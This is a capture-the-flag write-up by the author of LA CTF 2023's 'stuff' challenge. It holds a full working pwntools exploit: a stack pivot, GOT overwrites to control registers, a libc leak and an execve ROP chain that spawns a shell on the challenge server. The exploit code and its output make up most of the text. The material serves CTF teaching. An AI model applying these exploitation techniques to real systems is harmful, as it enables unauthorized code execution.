Introduction

stuff is one of the three pwn challenges that I wrote for LA CTF this year, and it was the hardest non-blockchain pwn challenge with seven solves. I wrote the challenge without having a specific solution in mind other than stack pivoting to the libc input buffer. The challenge turned out to be much harder than I expected, and it took me several days to test solve it. The source is available at https://github.com/uclaacm/lactf-archive/tree/main/2023/pwn/stuff.

The Challenge

The flavor text reads:

Jason keeps bullying me for using Fedora so here’s a binary compiled on Fedora.

A binary is provided which should be pretty easy to reverse-engineer. Here’s the source code:

#include <stdio.h>
#include <stdlib.h>

int main(void) {
  setbuf(stdout, NULL);
  while (1) {
    puts("menu:");
    puts("1. leak");
    puts("2. do stuff");
    int choice;
    if (scanf("%d", &choice) != 1) {
      puts("oops");
      return 1;
    }
    if (choice == 1) {
      printf("here's your leak: %p\n", malloc(8));
    } else if (choice == 2) {
      char buffer[12];
      fread(buffer, 1, 32, stdin);
      return 0;
    }
  }
}

A Dockerfile is also provided which shows that the server is running a container based on a Fedora image.

Stack Pivoting

The program leaks the address of a chunk allocated in the heap, and it does a 32-byte read into a 12-byte buffer. If you looked at the stack layout, you would see that the read is just enough to overwrite the return address. In order to do ROP with more than one gadget, we can use a leave; ret gadget to stack pivot to the libc stdin buffer in the heap. The address of the buffer can be calculated from the leak.

Leaking libc

checksec shows that the binary has no PIE, so we can use any gadgets in it without a leak.

$ checksec stuff
[*] '/home/ctf/lactf-archive/2023/pwn/stuff/stuff'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Let’s look at the available gadgets.

$ xgadget stuff
TARGET 0 - 'stuff': ELF-X64, 0x00000000401090 entry, 581/1 executable bytes/segments 

0x0000000040111e: adc [rax], edi; test rax, rax; je short 0x0000000000401130; mov edi, 0x404050; jmp rax; 
0x000000004010b0: adc eax, 0x2f3b; hlt; nop [rax+rax]; endbr64; ret; 
0x000000004010dc: adc edi, [rax]; test rax, rax; je short 0x00000000004010f0; mov edi, 0x404050; jmp rax; 
0x0000000040100e: add [rax-0x7b], cl; shl byte ptr [rdx+rax-0x1], 0xd0; add rsp, 0x8; ret; 
0x000000004010bb: add [rax], al; add [rax], al; add bl, dh; nop edx, edi; ret; 
0x000000004010bc: add [rax], al; add [rax], al; endbr64; ret; 
0x00000000401230: add [rax], al; add [rax], al; leave; ret; 
0x0000000040115a: add [rax], al; add [rbp-0x3d], ebx; nop; ret; 
0x000000004010bd: add [rax], al; add bl, dh; nop edx, edi; ret; 
0x00000000401231: add [rax], al; add cl, cl; ret; 
0x000000004010be: add [rax], al; endbr64; ret; 
0x00000000401236: add [rax], al; endbr64; sub rsp, 0x8; add rsp, 0x8; ret; 
0x000000004010b3: add [rax], al; hlt; nop [rax+rax]; endbr64; ret; 
0x00000000401232: add [rax], al; leave; ret; 
0x0000000040100d: add [rax], al; test rax, rax; je short 0x0000000000401016; call rax; 
0x000000004010e0: add [rax], al; test rax, rax; je short 0x00000000004010f0; mov edi, 0x404050; jmp rax; 
0x00000000401122: add [rax], al; test rax, rax; je short 0x0000000000401130; mov edi, 0x404050; jmp rax; 
0x0000000040115c: add [rbp-0x3d], ebx; nop; ret; 
0x0000000040115b: add [rcx], al; pop rbp; ret; 
0x000000004010b4: add ah, dh; nop [rax+rax]; endbr64; ret; 
0x000000004010eb: add bh, bh; loopne 0x0000000000401155; nop; ret; 
0x000000004010bf: add bl, dh; nop edx, edi; ret; 
0x00000000401237: add bl, dh; nop edx, edi; sub rsp, 0x8; add rsp, 0x8; ret; 
0x00000000401233: add cl, cl; ret; 
0x000000004010e9: add dil, dil; loopne 0x0000000000401155; nop; ret; 
0x00000000401157: add eax, 0x2f0b; add [rbp-0x3d], ebx; nop; ret; 
0x0000000040100a: add eax, 0x2fe9; test rax, rax; je short 0x0000000000401016; call rax; 
0x00000000401017: add esp, 0x8; ret; 
0x00000000401016: add rsp, 0x8; ret; 
0x00000000401014: call rax; 
0x000000004010c3: cli; ret; 
0x0000000040123b: cli; sub rsp, 0x8; add rsp, 0x8; ret; 
0x000000004010c0: endbr64; ret; 
0x00000000401238: endbr64; sub rsp, 0x8; add rsp, 0x8; ret; 
0x000000004010b5: hlt; nop [rax+rax]; endbr64; ret; 
0x00000000401155: inc esi; add eax, 0x2f0b; add [rbp-0x3d], ebx; nop; ret; 
0x00000000401012: je short 0x0000000000401016; call rax; 
0x000000004010e5: je short 0x00000000004010f0; mov edi, 0x404050; jmp rax; 
0x00000000401127: je short 0x0000000000401130; mov edi, 0x404050; jmp rax; 
0x000000004010ec: jmp rax; 
0x00000000401234: leave; ret; 
0x000000004010ed: loopne 0x0000000000401155; nop; ret; 
0x00000000401156: mov byte ptr [rip+0x2f0b], 0x1; pop rbp; ret; 
0x0000000040122f: mov eax, 0x0; leave; ret; 
0x000000004010dd: mov eax, 0x0; test rax, rax; je short 0x00000000004010f0; mov edi, 0x404050; jmp rax; 
0x0000000040111f: mov eax, 0x0; test rax, rax; je short 0x0000000000401130; mov edi, 0x404050; jmp rax; 
0x00000000401009: mov eax, [rip+0x2fe9]; test rax, rax; je short 0x0000000000401016; call rax; 
0x000000004010e7: mov edi, 0x404050; jmp rax; 
0x00000000401008: mov rax, [rip+0x2fe9]; test rax, rax; je short 0x0000000000401016; call rax; 
0x000000004010b7: nop [rax+rax]; endbr64; ret; 
0x000000004010b6: nop [rax+rax]; endbr64; ret; 
0x000000004010b8: nop [rax+rax]; endbr64; ret; 
0x000000004010c1: nop edx, edi; ret; 
0x00000000401239: nop edx, edi; sub rsp, 0x8; add rsp, 0x8; ret; 
0x000000004010ef: nop; ret; 
0x00000000401007: or [rax-0x75], cl; add eax, 0x2fe9; test rax, rax; je short 0x0000000000401016; call rax; 
0x000000004010e6: or [rdi+0x404050], edi; jmp rax; 
0x00000000401158: or ebp, [rdi]; add [rax], al; add [rbp-0x3d], ebx; nop; ret; 
0x0000000040115d: pop rbp; ret; 
0x000000004010e8: push rax; add dil, dil; loopne 0x0000000000401155; nop; ret; 
0x00000000401181: ret far; 
0x0000000040101a: ret; 
0x000000004010e4: shl byte ptr [rcx+rcx-0x41], 0x50; add dil, dil; loopne 0x0000000000401155; nop; ret; 
0x00000000401011: shl byte ptr [rdx+rax-0x1], 0xd0; add rsp, 0x8; ret; 
0x0000000040123d: sub esp, 0x8; add rsp, 0x8; ret; 
0x00000000401005: sub esp, 0x8; mov rax, [rip+0x2fe9]; test rax, rax; je short 0x0000000000401016; call rax; 
0x0000000040123c: sub rsp, 0x8; add rsp, 0x8; ret; 
0x00000000401004: sub rsp, 0x8; mov rax, [rip+0x2fe9]; test rax, rax; je short 0x0000000000401016; call rax; 
0x000000004010ba: test [rax], al; add [rax], al; add [rax], al; endbr64; ret; 
0x00000000401010: test eax, eax; je short 0x0000000000401016; call rax; 
0x000000004010e3: test eax, eax; je short 0x00000000004010f0; mov edi, 0x404050; jmp rax; 
0x00000000401125: test eax, eax; je short 0x0000000000401130; mov edi, 0x404050; jmp rax; 
0x0000000040100f: test rax, rax; je short 0x0000000000401016; call rax; 
0x000000004010e2: test rax, rax; je short 0x00000000004010f0; mov edi, 0x404050; jmp rax; 
0x00000000401124: test rax, rax; je short 0x0000000000401130; mov edi, 0x404050; jmp rax; 
0x000000004010ee: xchg ax, ax; ret; 

CONFIG [ search: ROP-JOP-SYS (default) | x_match: none | max_len: 5 | syntax: Intel | regex_filter: none ]
RESULT [ unique_gadgets: 76 | search_time: 8.448812ms | print_time: 9.371521ms ]

You can see that there’s not a lot to work with. We don’t have easy control over any register other than rbp. As the flavor text stated, this binary was compiled on Fedora, unlike the other pwn challenges in this CTF which were compiled on Debian. Fedora has a newer version of GCC, which apparently generates less ROP gadgets. Aplet123 pointed out that this fragment at the end of the main function is a powerful gadget:

0x000000000040120f <+153>:  mov    rdx,QWORD PTR [rip+0x2e4a]        # 0x404060 <stdin@GLIBC_2.2.5>
0x0000000000401216 <+160>:  lea    rax,[rbp-0x10]
0x000000000040121a <+164>:  mov    rcx,rdx
0x000000000040121d <+167>:  mov    edx,0x20
0x0000000000401222 <+172>:  mov    esi,0x1
0x0000000000401227 <+177>:  mov    rdi,rax
0x000000000040122a <+180>:  call   0x401070 <fread@plt>
0x000000000040122f <+185>:  mov    eax,0x0
0x0000000000401234 <+190>:  leave  
0x0000000000401235 <+191>:  ret    

This does fread(rbp - 16, 1, 32, stdin). We have full control over rbp with the leave and pop rbp gadgets, so we can use these instructions to do arbitrary write. Aplet suggested overwriting the GOT entry of fread with the PLT address of printf, which would let us do arbitrary reads and writes. However, I didn’t feel like doing format string exploitation, so I came up with another idea.

If we overwrite the GOT entry of fread with a pop rbp; ret gadget, then the call instruction essentially turns into a ret instruction: the pop rbp will pop off the return address pushed by the call, and then the ret will return to the next address on the stack. The value that was supposed to be the first argument of fread will now be left in rdi, so now we can control rdi. With rdi control, we can leak libc with puts.

One issue is that the leave; ret at the end of that sequence will mess up rsp and break our ROP chain. It pops the value 16 bytes after the first byte that we overwrote into rbp, and returns to the next value. Since our write is 32 bytes, we control the value that gets popped into rbp and the return address. Therefore, we can just stack pivot again with a leave; ret gadget.

A second issue is that if we call any functions with rsp in the libc stdin buffer, the function will use the area before rsp as stack space and overwrite the data in the buffer that we want fread to read. To solve this, I put the ROP chain 2048 bytes after the start of the buffer so that data at the beginning of the buffer won’t get overwritten.

After we overwrite the GOT entry for a function like fread or puts, we can no longer call the function by jumping to its PLT entry since that would jump to the overwritten address in the GOT. Instead, we can jump to the second instruction in the PLT entry, which will lead to code that will look up the correct address of the function and jump there. This will also restore the GOT entry, which is a problem for fread since it would break our gadget for setting rdi. I was able to solve this later by overwriting the fread GOT entry back to the pop rbp; ret gadget every time I called fread this way.

The solve script so far looks like this:

from pwn import *

exe = ELF("./stuff")
libc = ELF("./libc.so.6")

context.binary = exe

# r = process([exe.path])
# r = gdb.debug([exe.path])
r = remote("lac.tf", 31182)

# Get heap leak
r.sendlineafter(b"stuff\n", b"1")
r.recvuntil(b"leak: ")
leak = int(r.recvline(keepends=False), 0)
log.info(f"{hex(leak)=}")
# Address of libc stdin buffer
buffer_addr = leak - 0x1010
log.info(f"{hex(buffer_addr)=}")

# Instructions before the call to fread at the end of main, used to overwrite GOT and control rdi
fread_gadget = 0x40120F
# Instructions before the call to scanf, used to control rsi after scanf GOT is overwritten
rsi_gadget = 0x4011B0
# Instructions at the end of the loop before the jump back to puts, used to control eax after puts GOT is overwritten
eax_gadget = 0x401207
# Instruction before the call to fread that moves rax to rdi
rax_to_rdi_gadget = 0x401227
# Number of bytes from the start of the libc input buffer to the second half of the payload
# The gap in the middle is stack space for the functions
rop3_offset = 2048

# Overwrite GOT using the fread call at the end of main and pivot to rop3
rop1 = ROP(exe)
rop1.raw(exe.got.setbuf + 16)  # Set rbp with the leave instruction
rop1.raw(fread_gadget)
log.info(rop1.dump())

# This is the data that will be written to GOT starting with the entry for setbuf
rop2 = ROP(exe)
rop2.raw(b"AAAAAAAA")  # setbuf GOT
rop2.raw(rop2.find_gadget(["pop rbp", "ret"]))  # fread GOT
# Pivot to rop3 using the leave; ret at the end of main
rop2.raw(buffer_addr + rop3_offset)  # rbp
rop2.raw(rop2.find_gadget(["leave", "ret"]))
log.info(rop2.dump())

# fread GOT has been overwritten with a pop rbp gadget, which will pop the return address pushed by the call and return
# So the call to fread now acts like a ret instruction and the instructions before it can be used to control rdi

rop3 = ROP(exe)

# Leak libc by calling puts
rop3.raw(exe.got.puts + 16)  # rbp
# Set rdi with the instructions before the fread call
rop3.raw(fread_gadget)
# Since the puts GOT has been overwritten, we call it by jumping to the second instruction in the puts PLT
rop3.raw(exe.plt.puts + 6)

I originally pivoted to the input buffer before calling fread, but after seeing other people’s solutions I realized that I can just go directly to fread and pivot to the buffer when it returns.

Reading the libc ROP Chain

Now that we have a libc leak, we just need to read in the last part of the ROP chain that uses gadgets from libc to spawn a shell. The problem is that we only have 32-byte reads and we just filled the input buffer with more than 2048 bytes of junk. We need to discard all of that junk by doing a read with more than 2048 bytes, otherwise fread will read the data that’s already in the buffer instead of requesting more data from the OS.

If we can control rsi, then we can get fread to read as many bytes as we want, since the second argument for fread is the size of each of the chunks to read. I thought that maybe we can reuse the trick where we overwrite the GOT of some function with pop rbp; ret to turn a call instruction into a ret instruction. I looked at the other function calls in main and found this:

0x00000000004011b0 <+58>:	lea    rax,[rbp-0x4]
0x00000000004011b4 <+62>:	mov    rsi,rax
0x00000000004011b7 <+65>:	mov    edi,0x40202a
0x00000000004011bc <+70>:	mov    eax,0x0
0x00000000004011c1 <+75>:	call   0x401040 <__isoc99_scanf@plt>

If we overwrite the GOT of __isoc99_scanf with pop rbp; ret, we can use these instructions to move rbp - 0x4 into rsi. However, these instructions clobber rdi, and the instructions before the call to fread that we use to set rdi clobber rsi, so we can set either rdi and rsi but not both. I saw that there is a mov rdi, rax gadget right before the call to fread, so if we can set rax without clobbering rsi, then we can set rsi, put the value that we want for rdi into rax, and finally move rax into rdi.

We can set rax by using the overwriting GOT with pop rbp; ret trick a third time with these instructions:

0x0000000000401192 <+28>:	mov    edi,0x402010
0x0000000000401197 <+33>:	call   0x401080 <puts@plt>
...
0x0000000000401207 <+145>:	mov    eax,DWORD PTR [rbp-0x4]
0x000000000040120a <+148>:	cmp    eax,0x2
0x000000000040120d <+151>:	jne    0x401192 <main+28>

If we overwrite the puts GOT with pop rbp; ret, then we can jump to 0x401207, and that will move [rbp - 0x4] into eax. As long as the value is not 2, it will jump to 0x401192 and the call to puts will act like a ret.

We now have all of the pieces that we need for the exploit. After overwriting the fread GOT and leaking libc, we can overwrite the __isoc99_scanf and puts GOT. Then we can use the instructions before the fread call to set rcx and rdx, use the instructions before the scanf call to set rsi, use the instructions before the puts call to set eax, move rax to rdi, and finally call fread to read in the last part of the ROP chain.

The script to do that looks like this:

# Overwrite GOT again with fread
# Since we overwrote fread GOT earlier, we don't have to stack pivot again
# So we can also overwrite puts GOT with a pop rbp gadget
# The data that will be written is in rop4 below
rop3(rbp=exe.got.setbuf + 16)
rop3.raw(fread_gadget)
rop3.raw(exe.plt.fread + 6)

# Overwrite GOT one last time to overwrite the scanf entry with a pop rbp gadget
# The data that will be written is in rop5
rop3(rbp=exe.got.__isoc99_scanf + 16)
rop3.raw(fread_gadget)
rop3.raw(exe.plt.fread + 6)

# fread, puts, and scanf are now all overwritten with pop rbp
# We now have control over both rdi and rsi

# Call fread with the item size set to 67 to get rid of the junk in the libc stdin buffer and read the final ropchain
# Set rdx and rcx
rop3.raw(fread_gadget)
# Set rsi with the instructions before the scanf call
rop3(rbp=66 + 4)
rop3.raw(rsi_gadget)
# Set rdi to some heap address that we don't care about
# We first set eax and then move the value to rdi to avoid clobbering rsi
# Set eax with the instructions at the end of the loop
# This is 4 + the address of the p32(leak) value at the end of the first half of the payload
rop3(rbp=buffer_addr + 129 + 4)
rop3.raw(eax_gadget)
# Move the value from eax to rdi
rop3.raw(rax_to_rdi_gadget)
# Call fread
rop3.raw(exe.plt.fread + 6)
# Pivot to the final ropchain
rop3(rbp=buffer_addr)
rop3.raw(rop3.find_gadget(["leave", "ret"]))
log.info(rop3.dump())

# Data that will be written in the second GOT overwrite
rop4 = ROP(exe)
rop4.raw(b"BBBBBBBB")
rop4.raw(rop4.find_gadget(["pop rbp", "ret"]))  # fread GOT
rop4.raw(rop4.find_gadget(["pop rbp", "ret"]))  # puts GOT
rop4.raw(b"CCCCCCCC")
log.info(rop4.dump())

# Data that will be written in the third GOT overwrite
rop5 = ROP(exe)
rop5.raw(rop5.find_gadget(["pop rbp", "ret"]))  # scanf GOT
rop5.raw(b"DDDDDDDD")
rop5.raw(b"EEEEEEEE")
rop5.raw(rop5.find_gadget(["pop rbp", "ret"]))  # fread GOT
log.info(rop5.dump())

payload = b"2"
payload += rop1.generatePadding(0, 16)
payload += rop1.chain()
# Data that will be written to GOT
payload += rop2.chain()
payload += rop4.chain()
payload += rop5.chain()
payload += p32(leak)  # Value that will be loaded into eax in order to set rdi without clobbering rsi
payload = payload.ljust(rop3_offset, b"\0")  # Stack space for the functions that we call
payload += rop3.chain()

r.sendafter(b"stuff\n", payload)

I set rsi to 66 when calling fread since 66 * 32 is a little bit bigger than the amount of stuff in the buffer that we need to discard. I set rdi to the leak address since we just need to write the junk to somewhere that we don’t care about.

Finally, we can build an execve ROP chain with the gadgets in libc and send it:

# Get libc leak
libc.address = int.from_bytes(r.recvline(keepends=False), "little") - libc.symbols.puts
log.info(f"{hex(libc.address)=}")

# Final ropchain utilizing libc
rop6 = ROP([exe, libc])
rop6.raw(b"bbbbbbbb")  # rbp
# Direct execve syscall
rop6(rax=constants.SYS_execve, rdi=next(libc.search(b"/bin/sh\0")), rsi=0, rdx=0)
rop6.raw(rop6.find_gadget(["syscall"]))
log.info(rop6.dump())
r.send(rop6.chain())

r.interactive()

Full solve script:

#!/usr/bin/env python3

# Overview:
# Stack pivot to the libc stdin buffer
# Use the fread call at the end of main to overwrite fread GOT with a pop rbp gadget
# This makes the call to fread act like a ret instruction and gives us control over rdi
# Leak libc with puts
# Use fread to overwrite puts GOT with pop rbp
# This can't be done in the first fread call since we have to pivot
# Use fread to overwrite scanf GOT with pop rbp
# Now we can control both rdi and rsi with various fragments of main
# Call fread with a bigger size to get rid of junk in the libc input buffer and read the final ropchain
# Pivot to the final ropchain and execve /bin/sh

from pwn import *

exe = ELF("./stuff")
libc = ELF("./libc.so.6")

context.binary = exe

# r = process([exe.path])
# r = gdb.debug([exe.path])
r = remote("lac.tf", 31182)

# Get heap leak
r.sendlineafter(b"stuff\n", b"1")
r.recvuntil(b"leak: ")
leak = int(r.recvline(keepends=False), 0)
log.info(f"{hex(leak)=}")
# Address of libc stdin buffer
buffer_addr = leak - 0x1010
log.info(f"{hex(buffer_addr)=}")

# Instructions before the call to fread at the end of main, used to overwrite GOT and control rdi
fread_gadget = 0x40120F
# Instructions before the call to scanf, used to control rsi after scanf GOT is overwritten
rsi_gadget = 0x4011B0
# Instructions at the end of the loop before the jump back to puts, used to control eax after puts GOT is overwritten
eax_gadget = 0x401207
# Instruction before the call to fread that moves rax to rdi
rax_to_rdi_gadget = 0x401227
# Number of bytes from the start of the libc input buffer to the second half of the payload
# The gap in the middle is stack space for the functions
rop3_offset = 2048

# Overwrite GOT using the fread call at the end of main and pivot to rop3
rop1 = ROP(exe)
rop1.raw(exe.got.setbuf + 16)  # Set rbp with the leave instruction
rop1.raw(fread_gadget)
log.info(rop1.dump())

# This is the data that will be written to GOT starting with the entry for setbuf
rop2 = ROP(exe)
rop2.raw(b"AAAAAAAA")  # setbuf GOT
rop2.raw(rop2.find_gadget(["pop rbp", "ret"]))  # fread GOT
# Pivot to rop3 using the leave; ret at the end of main
rop2.raw(buffer_addr + rop3_offset)  # rbp
rop2.raw(rop2.find_gadget(["leave", "ret"]))
log.info(rop2.dump())

# fread GOT has been overwritten with a pop rbp gadget, which will pop the return address pushed by the call and return
# So the call to fread now acts like a ret instruction and the instructions before it can be used to control rdi

rop3 = ROP(exe)

# Leak libc by calling puts
rop3.raw(exe.got.puts + 16)  # rbp
# Set rdi with the instructions before the fread call
rop3.raw(fread_gadget)
# Since the puts GOT has been overwritten, we call it by jumping to the second instruction in the puts PLT
rop3.raw(exe.plt.puts + 6)

# Overwrite GOT again with fread
# Since we overwrote fread GOT earlier, we don't have to stack pivot again
# So we can also overwrite puts GOT with a pop rbp gadget
# The data that will be written is in rop4 below
rop3(rbp=exe.got.setbuf + 16)
rop3.raw(fread_gadget)
rop3.raw(exe.plt.fread + 6)

# Overwrite GOT one last time to overwrite the scanf entry with a pop rbp gadget
# The data that will be written is in rop5
rop3(rbp=exe.got.__isoc99_scanf + 16)
rop3.raw(fread_gadget)
rop3.raw(exe.plt.fread + 6)

# fread, puts, and scanf are now all overwritten with pop rbp
# We now have control over both rdi and rsi

# Call fread with the item size set to 67 to get rid of the junk in the libc stdin buffer and read the final ropchain
# Set rdx and rcx
rop3.raw(fread_gadget)
# Set rsi with the instructions before the scanf call
rop3(rbp=66 + 4)
rop3.raw(rsi_gadget)
# Set rdi to some heap address that we don't care about
# We first set eax and then move the value to rdi to avoid clobbering rsi
# Set eax with the instructions at the end of the loop
# This is 4 + the address of the p32(leak) value at the end of the first half of the payload
rop3(rbp=buffer_addr + 129 + 4)
rop3.raw(eax_gadget)
# Move the value from eax to rdi
rop3.raw(rax_to_rdi_gadget)
# Call fread
rop3.raw(exe.plt.fread + 6)
# Pivot to the final ropchain
rop3(rbp=buffer_addr)
rop3.raw(rop3.find_gadget(["leave", "ret"]))
log.info(rop3.dump())

# Data that will be written in the second GOT overwrite
rop4 = ROP(exe)
rop4.raw(b"BBBBBBBB")
rop4.raw(rop4.find_gadget(["pop rbp", "ret"]))  # fread GOT
rop4.raw(rop4.find_gadget(["pop rbp", "ret"]))  # puts GOT
rop4.raw(b"CCCCCCCC")
log.info(rop4.dump())

# Data that will be written in the third GOT overwrite
rop5 = ROP(exe)
rop5.raw(rop5.find_gadget(["pop rbp", "ret"]))  # scanf GOT
rop5.raw(b"DDDDDDDD")
rop5.raw(b"EEEEEEEE")
rop5.raw(rop5.find_gadget(["pop rbp", "ret"]))  # fread GOT
log.info(rop5.dump())

payload = b"2"
payload += rop1.generatePadding(0, 16)
payload += rop1.chain()
# Data that will be written to GOT
payload += rop2.chain()
payload += rop4.chain()
payload += rop5.chain()
payload += p32(leak)  # Value that will be loaded into eax in order to set rdi without clobbering rsi
payload = payload.ljust(rop3_offset, b"\0")  # Stack space for the functions that we call
payload += rop3.chain()

r.sendafter(b"stuff\n", payload)

# Get libc leak
libc.address = int.from_bytes(r.recvline(keepends=False), "little") - libc.symbols.puts
log.info(f"{hex(libc.address)=}")

# Final ropchain utilizing libc
rop6 = ROP([exe, libc])
rop6.raw(b"bbbbbbbb")  # rbp
# Direct execve syscall
rop6(rax=constants.SYS_execve, rdi=next(libc.search(b"/bin/sh\0")), rsi=0, rdx=0)
rop6.raw(rop6.find_gadget(["syscall"]))
log.info(rop6.dump())
r.send(rop6.chain())

r.interactive()

Output:

[ctf@fedora-ctf stuff]$ ./solve.py 
[*] '/home/ctf/lactf-archive/2023/pwn/stuff/stuff'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/ctf/lactf-archive/2023/pwn/stuff/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to lac.tf on port 31182: Done
[*] hex(leak)='0x1cc6ec0'
[*] hex(buffer_addr)='0x1cc5eb0'
[*] Loading gadgets for '/home/ctf/lactf-archive/2023/pwn/stuff/stuff'
[*] 0x0000:         0x404040 got.puts
    0x0008:         0x40120f
[*] Loaded 5 cached gadgets for './stuff'
[*] 0x0000:      b'AAAAAAAA' b'AAAAAAAA'
    0x0008:         0x40115d pop rbp; ret
    0x0010:        0x1cc66b0
    0x0018:         0x401234 leave; ret
[*] 0x0000:         0x404050 stdout
    0x0008:         0x40120f
    0x0010:         0x401086
    0x0018:         0x40115d pop rbp; ret
    0x0020:         0x404040 got.puts
    0x0028:         0x40120f
    0x0030:         0x401076
    0x0038:         0x40115d pop rbp; ret
    0x0040:         0x404030 got.setbuf
    0x0048:         0x40120f
    0x0050:         0x401076
    0x0058:         0x40120f
    0x0060:         0x40115d pop rbp; ret
    0x0068:             0x46
    0x0070:         0x4011b0
    0x0078:         0x40115d pop rbp; ret
    0x0080:        0x1cc5f35
    0x0088:         0x401207
    0x0090:         0x401227
    0x0098:         0x401076
    0x00a0:         0x40115d pop rbp; ret
    0x00a8:        0x1cc5eb0
    0x00b0:         0x401234 leave; ret
[*] 0x0000:      b'BBBBBBBB' b'BBBBBBBB'
    0x0008:         0x40115d pop rbp; ret
    0x0010:         0x40115d pop rbp; ret
    0x0018:      b'CCCCCCCC' b'CCCCCCCC'
[*] 0x0000:         0x40115d pop rbp; ret
    0x0008:      b'DDDDDDDD' b'DDDDDDDD'
    0x0010:      b'EEEEEEEE' b'EEEEEEEE'
    0x0018:         0x40115d pop rbp; ret
[*] hex(libc.address)='0x7f8d67143000'
[*] Loading gadgets for '/home/ctf/lactf-archive/2023/pwn/stuff/libc.so.6'
[*] 0x0000:      b'bbbbbbbb' b'bbbbbbbb'
    0x0008:   0x7f8d671ca0c8 pop rax; pop rdx; pop rbx; ret
    0x0010:             0x3b SYS_execve
    0x0018:              0x0
    0x0020:      b'iaaajaaa' <pad rbx>
    0x0028:   0x7f8d6716c3d1 pop rsi; ret
    0x0030:              0x0
    0x0038:   0x7f8d6716aab5 pop rdi; ret
    0x0040:   0x7f8d672da031
    0x0048:   0x7f8d671697b2 syscall
[*] Switching to interactive mode
$ ls
flag.txt
run
$ cat flag.txt
lactf{old_gcc_hands_out_too_many_free_gadgets_smh}